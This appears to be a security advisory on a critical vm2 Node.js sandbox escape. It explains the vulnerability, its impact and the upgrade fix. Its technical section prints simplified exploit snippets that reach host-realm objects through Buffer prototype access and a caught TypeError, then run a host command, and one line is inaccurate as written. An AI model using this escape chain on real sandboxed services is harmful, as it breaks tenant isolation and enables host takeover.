CVE-2026-47131: vm2 Node.js Sandbox Escape via Buffer Prototype Hijack
A maximum-severity sandbox escape vulnerability tracked as CVE-2026-47131 has been disclosed in vm2, one of the most widely used Node.js sandbox libraries. With a CVSS v3.1 score of 10.0 (Critical), the flaw allows code running inside the vm2 sandbox to break out and execute arbitrary commands on the host Node.js process.
The vulnerability exploits a combination of Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__") and Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__") together with Node.js's ERR_INVALID_ARG_TYPE Error to obtain a reference to the host's TypeError constructor from within sandboxed code. This reference can then be leveraged to escape isolation entirely and run code at the host level.
The vulnerability is patched in vm2 version 3.11.4. All users of prior versions should upgrade immediately.
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-47131 |
| CVSS Score | 10.0 (Critical) |
| Affected Software | vm2 Node.js sandbox — all versions < 3.11.4 |
| Attack Vector | Local (sandboxed code execution) |
| Authentication Required | None — sandboxed context only |
| Primary Impact | Full host code execution / sandbox breakout |
| Source | NVD / NIST (published 2026-06-12) |
| Fix | Upgrade to vm2 3.11.4 |
Background: vm2 and Node.js Sandboxing
vm2 is a Node.js module that provides a hardened sandbox environment, building on top of Node.js's built-in vm module. It is used extensively in:
- Multi-tenant SaaS platforms that run user-submitted code
- CI/CD pipelines executing plugin or workflow scripts
- Code playgrounds and REPL environments
- Build tools that evaluate arbitrary JavaScript configurations
- Security testing and CTF infrastructure
The core promise of vm2 is that code running inside the sandbox cannot reach the host Node.js process — it should be fully isolated. This CVE, along with three related issues (CVE-2026-47137, CVE-2026-47140, CVE-2026-47208), breaks that isolation entirely.
Technical Details
The Attack Primitive: Buffer Prototype Access
JavaScript's Buffer object in Node.js is a subclass of Uint8Array. The vm2 sandbox normally intercepts property access and prototype chains to prevent sandboxed code from touching host-realm objects.
The attack leverages:
{}.__lookupGetter__— The__lookupGetter__method walks the prototype chain to find the getter for a given propertyBuffer.call.call(...)— A double.calltechnique to invoke__lookupGetter__as if called on theBufferobject itself, operating in the host realm"__proto__"— The property being looked up, which exposes the prototype chain
By combining these:
// Sandboxed attacker code (simplified)
const hostGetter = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const hostSetter = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");The vm2 sandbox fails to intercept this indirect prototype access pattern. The attacker gains a reference into the host JavaScript realm's object hierarchy.
Leaking the Host TypeError Constructor
With access to Buffer.__proto__, the attacker can traverse the host prototype chain. Node.js's ERR_INVALID_ARG_TYPE error is thrown when Buffer operations receive invalid arguments — and because this error is a host-realm TypeError, catching it provides a direct reference to the host TypeError constructor:
// Obtain host TypeError constructor
let hostTypeError;
try {
// Trigger an ERR_INVALID_ARG_TYPE from Buffer
Buffer.from("x").copy(null);
} catch (e) {
hostTypeError = e.constructor; // Now a host-realm TypeError, not the sandboxed one
}Full Sandbox Escape
Once the attacker holds a reference to a host-realm constructor, they can access the Function constructor chain and execute arbitrary code:
const hostFunc = hostTypeError.prototype.constructor.constructor;
hostFunc("return process")().execSync("id"); // Executes on hostThe escape path in simplified terms:
Buffer.call.call(__lookupGetter__, Buffer, "__proto__")
→ Host realm Buffer prototype exposed
→ ERR_INVALID_ARG_TYPE caught → host TypeError constructor obtained
→ TypeError.constructor.constructor === host Function
→ Arbitrary host code execution
Impact Assessment
| Impact Area | Description |
|---|---|
| Host RCE | Full remote/local code execution on the Node.js host process |
| Sandbox Isolation Broken | All isolation guarantees of vm2 are void on affected versions |
| Privilege Escalation | Sandboxed code runs with full Node.js process privileges on the host |
| Data Exfiltration | Complete access to host filesystem, environment variables, and network |
| Multi-tenant Risk | Any platform using vm2 for tenant isolation is exposed to cross-tenant attacks |
| Supply Chain Risk | Packages depending on vm2 for security inherit the vulnerability |
Affected Systems
Any Node.js application that:
- Runs untrusted or user-supplied JavaScript code inside vm2 < 3.11.4
- Uses vm2 to isolate plugin execution, build scripts, or configuration evaluation
- Relies on vm2 for multi-tenant code sandboxing
Run npm list vm2 or yarn list vm2 to check the installed version in your project.
Remediation
Immediate Fix: Upgrade vm2
# npm
npm update vm2
# yarn
yarn upgrade vm2
# Check version after upgrade
node -e "console.log(require('vm2/package.json').version)"
# Should output: 3.11.4 or laterVerify package.json / package-lock.json
{
"dependencies": {
"vm2": "^3.11.4"
}
}Consider Alternatives
vm2 has a history of sandbox escape CVEs. For production multi-tenant sandboxing of untrusted code, consider:
| Alternative | Mechanism | Notes |
|---|---|---|
| Worker Threads + Permissions API | OS process isolation (Node.js 20+) | Native, actively maintained |
| Deno | V8 isolates with permissions model | Strong isolation model |
| isolated-vm | V8 isolates via C++ bindings | Low-level, high performance |
| vm2 + seccomp | vm2 inside restricted container | Defense in depth |
Related CVEs in This Batch
This advisory is one of four simultaneous vm2 sandbox escape disclosures all fixed in vm2 3.11.4:
| CVE | Vulnerability |
|---|---|
| CVE-2026-47131 (this advisory) | Buffer prototype hijack via __lookupGetter__ + TypeError |
| CVE-2026-47137 | Strict equality bypass enables require: false circumvention |
| CVE-2026-47140 | Incomplete denylist — process and inspector/promises not blocked |
| CVE-2026-47208 | General sandbox breakout enabling arbitrary host command execution |
Key Takeaways
- CVE-2026-47131 is a CVSS 10.0 critical vm2 sandbox escape allowing full host Node.js process takeover
- The attack uses
Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")to reach the host realm from sandboxed code - All vm2 versions prior to 3.11.4 are vulnerable — upgrade immediately
- vm2 has an established pattern of sandbox escapes; evaluate whether stricter OS-level isolation is appropriate for your workload
- Run
npm auditto identify downstream dependencies that bundle a vulnerable vm2 version